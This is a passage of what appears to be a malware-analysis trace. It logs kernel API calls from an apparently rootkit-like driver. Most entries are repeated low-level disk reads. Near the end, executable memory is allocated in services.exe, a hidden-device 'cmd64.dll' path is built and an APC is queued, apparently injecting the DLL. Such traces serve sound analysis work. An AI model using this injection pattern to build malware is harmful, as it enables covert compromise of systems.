Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.751] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.751] IdePortDispatch () returned 0x103 [0073.751] KeWaitForMutexObject () returned 0x0 [0073.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.751] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.751] IdePortDispatch () returned 0x103 [0073.751] KeWaitForMutexObject () returned 0x0 [0073.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.751] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.751] IdePortDispatch () returned 0x103 [0073.751] KeWaitForMutexObject () returned 0x0 [0073.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.752] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.752] IdePortDispatch () returned 0x103 [0073.752] KeWaitForMutexObject () returned 0x0 [0073.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.752] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.752] IdePortDispatch () returned 0x103 [0073.752] KeWaitForMutexObject () returned 0x0 [0073.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.752] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.752] IdePortDispatch () returned 0x103 [0073.752] KeWaitForMutexObject () returned 0x0 [0073.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.753] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.753] IdePortDispatch () returned 0x103 [0073.753] KeWaitForMutexObject () returned 0x0 [0073.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.753] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.753] IdePortDispatch () returned 0x103 [0073.753] KeWaitForMutexObject () returned 0x0 [0073.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.753] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.753] IdePortDispatch () returned 0x103 [0073.753] KeWaitForMutexObject () returned 0x0 [0073.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.754] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.754] IdePortDispatch () returned 0x103 [0073.754] KeWaitForMutexObject () returned 0x0 [0073.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.754] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.754] IdePortDispatch () returned 0x103 [0073.754] KeWaitForMutexObject () returned 0x0 [0073.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.754] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.754] IdePortDispatch () returned 0x103 [0073.754] KeWaitForMutexObject () returned 0x0 [0073.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.755] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.755] IdePortDispatch () returned 0x103 [0073.755] KeWaitForMutexObject () returned 0x0 [0073.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.755] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.755] IdePortDispatch () returned 0x103 [0073.755] KeWaitForMutexObject () returned 0x0 [0073.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.755] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.755] IdePortDispatch () returned 0x103 [0073.755] KeWaitForMutexObject () returned 0x0 [0073.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.755] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.756] IdePortDispatch () returned 0x103 [0073.756] KeWaitForMutexObject () returned 0x0 [0073.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.756] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.756] IdePortDispatch () returned 0x103 [0073.756] KeWaitForMutexObject () returned 0x0 [0073.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.756] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.756] IdePortDispatch () returned 0x103 [0073.756] KeWaitForMutexObject () returned 0x0 [0073.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.756] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.756] IdePortDispatch () returned 0x103 [0073.757] KeWaitForMutexObject () returned 0x0 [0073.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.757] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.757] IdePortDispatch () returned 0x103 [0073.757] KeWaitForMutexObject () returned 0x0 [0073.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.757] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.757] IdePortDispatch () returned 0x103 [0073.757] KeWaitForMutexObject () returned 0x0 [0073.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.757] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.757] IdePortDispatch () returned 0x103 [0073.757] KeWaitForMutexObject () returned 0x0 [0073.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.758] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.758] IdePortDispatch () returned 0x103 [0073.758] KeWaitForMutexObject () returned 0x0 [0073.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.758] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.758] IdePortDispatch () returned 0x103 [0073.758] KeWaitForMutexObject () returned 0x0 [0073.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.758] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.758] IdePortDispatch () returned 0x103 [0073.758] KeWaitForMutexObject () returned 0x0 [0073.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.759] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.759] IdePortDispatch () returned 0x103 [0073.759] KeWaitForMutexObject () returned 0x0 [0073.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.759] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.759] IdePortDispatch () returned 0x103 [0073.759] KeWaitForMutexObject () returned 0x0 [0073.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.759] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.759] IdePortDispatch () returned 0x103 [0073.759] KeWaitForMutexObject () returned 0x0 [0073.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.760] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.760] IdePortDispatch () returned 0x103 [0073.760] KeWaitForMutexObject () returned 0x0 [0073.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.760] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.760] IdePortDispatch () returned 0x103 [0073.760] KeWaitForMutexObject () returned 0x0 [0073.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.760] KeLeaveCriticalRegion () [0073.760] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.760] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000240, BaseAddress=0xfffff88002f8fae0, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae0*=0x10000, RegionSize=0xfffff88002f8f9f0*=0x14000) returned 0x0 [0073.761] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0073.761] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f8fad8 | out: Size=0xfffff88002f8fad8) returned 0x0 [0073.761] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000240, BaseAddress=0xfffff88002f8fae8, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae8*=0x50000, RegionSize=0xfffff88002f8f9f8*=0x1000) returned 0x0 [0073.761] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0073.761] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800bb6d830 [0073.761] KeInitializeApc (Apc=0xfffffa800bb6d830, Thread=0xfffffa80034d1b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0073.761] KeInsertQueueApc (Apc=0xfffffa800bb6d830, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0073.761] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0073.761] ZwClose (Handle=0x14) returned 0x0 [0073.761] ZwClose (Handle=0xffffffff80000238) returned 0x0 [0073.761] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0073.761] KeEnterCriticalRegion () [0073.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.761] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0073.761] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa800355c8f0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0073.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.761] KeLeaveCriticalRegion () [0073.761] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.761] KeUnstackDetachProcess (ApcState=0xfffff88002f8fa58) [0073.761] PsGetProcessImageFileName () returned 0xfffffa80035558d0 [0073.761] _snprintf (in: _Dest=0xfffffa8003563378, _Count=0x103, _Format="%s (x64)" | out: _Dest="services.exe (x64)") returned 18 [0073.761] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0073.761] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff80000238, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0073.761] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.762] KeEnterCriticalRegion () [0073.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.762] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0073.762] IdePortDispatch () returned 0x103 [0073.762] KeWaitForMutexObject () returned 0x0 [0073.762] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0073.762] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0073.762] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0073.762] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0073.762] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034d1170 [0073.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.762] KeLeaveCriticalRegion () [0073.762] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.762] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0073.762] NtLockFile (in: FileHandle=0xffffffff80000238, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0073.762] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.762] KeEnterCriticalRegion () [0073.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.762] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0073.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.762] KeLeaveCriticalRegion () [0073.762] ZwQueryInformationFile (in: FileHandle=0xffffffff80000238, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0073.762] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0073.762] KeEnterCriticalRegion () [0073.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.762] 